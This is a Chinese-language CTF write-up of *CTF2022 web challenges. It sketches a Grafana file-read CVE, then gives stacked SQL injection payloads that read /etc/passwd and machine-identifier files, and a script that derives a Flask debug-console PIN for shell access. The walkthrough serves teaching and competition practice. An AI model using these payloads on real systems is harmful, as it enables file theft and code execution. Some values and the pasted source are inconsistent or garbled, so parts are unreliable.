*CTF2022

web

oh-my-grafana

image-20220417212841538

打开一看,使用了框架搭建的网站,首先想到看历史漏洞,也就是找Grafana的版本号去搜索

image-20220417212943796

然后就找到了这一篇文章https://blog.csdn.net/dreamthe/article/details/121794956

CVE-2021-43798 Grafana 未授权任意文件读取漏洞

[starCTF]oh-my-notepro

复现环境:https://github.com/sixstars/starctf2022/tree/main/web-oh-my-notepro/docker

image-20220426195905739

image-20220426201626391

打开题目发现有个记笔记功能,且登陆可以用任意账号密码登陆

image-20220426201824578

image-20220426201932455

然后随便写了一个不存在的id,发现debug报错,且是flask,猜测是算PIN

image-20220426202156617

image-20220426202030578

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args, **kws)
    return decorated_function

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    result = db.session.execute(sql, params={"multi":True})
    db.session.commit()
    result = result.fetchone()
    data = {
        'title': result[4],
        'text': result[3],
    }
    return render_template('note.html', data=data)

接下来就是想办法读文件,然后算PIN

image-20220426210901009

猜测这个可以sql注入

SQL注入

image-20220426210944985

发现报错,存在sql注入

image-20220426211241324

爆出5列,很显然flag不在数据库里面,需要在使用sql读取文件算PIN

image-20220426211454011

image-20220426214835805

因为版本是5.6.51,高版本的mysql默认是没有权限使用load_file命令的,但是可以使用load data local infile into table,导入文件数据到表中,然后再大一这个表中的数据,所以给出payload如下

create table table_name(data varchar(1000));load data local infile "文件目录" into table ctf.table_name;
SELECT group_concat(data) from ctf.table_name;

这里其实是可以使用堆叠注入的,通过爆出的源码得知

image-20220426215445607

image-20220426215517920

这是一个flask的mysql拓展,他指定了一个参数{"multi":True},它的含义就是允许执行多行命令

所以给出堆叠注入payload如下

创建表
';create table pysnow(data varchar(1000));%23
导入数据到表
';load data local infile "/etc/passwd" into table ctf.pysnow;%23
读取表
'union select 1,2,3,4,group_concat(data) from ctf.pysnow%23

image-20220426220219836

执行成功

计算PIN

根据前面的说法,现在就是读各种文件了

/etc/passwd: ctf

image-20220426220414848

拿到username为ctf

/sys/class/net/eth0/address: 2485723369475

image-20220426221659524

image-20220426221720834

/proc/self/cgroup: 6002acf689b0b8562763a1e738959d4ce549b19c2431bd61b33529710846491e

image-20220426221930599

/proc/sys/kernel/random/boot-id: 23d4f554-ae37-414f-b759-447c2b298e7f

/etc/machine-id 1cc402dd0e11d5ae18db04a6de87223d

image-20220426222154774

image-20220426222806830

image-20220426223007875

拿到PIN:912-569-282

image-20220426223901535

拿到python的shell了,直接os.popen('ls /').read()执行命令就行

这个给出算PIN的脚本如下

import hashlib
from itertools import chain

probably_public_bits = [
    'ctf'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485377568585',  # /sys/class/net/eth0/address 十进制
    '1cc402dd0e11d5ae18db04a6de87223d6002acf689b0b8562763a1e738959d4ce549b19c2431bd61b33529710846491e'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

web-oh-my-lotto

没写完,留个坑

最后修改:2022 年 07 月 25 日
如果觉得我的文章对你有用,请随意赞赏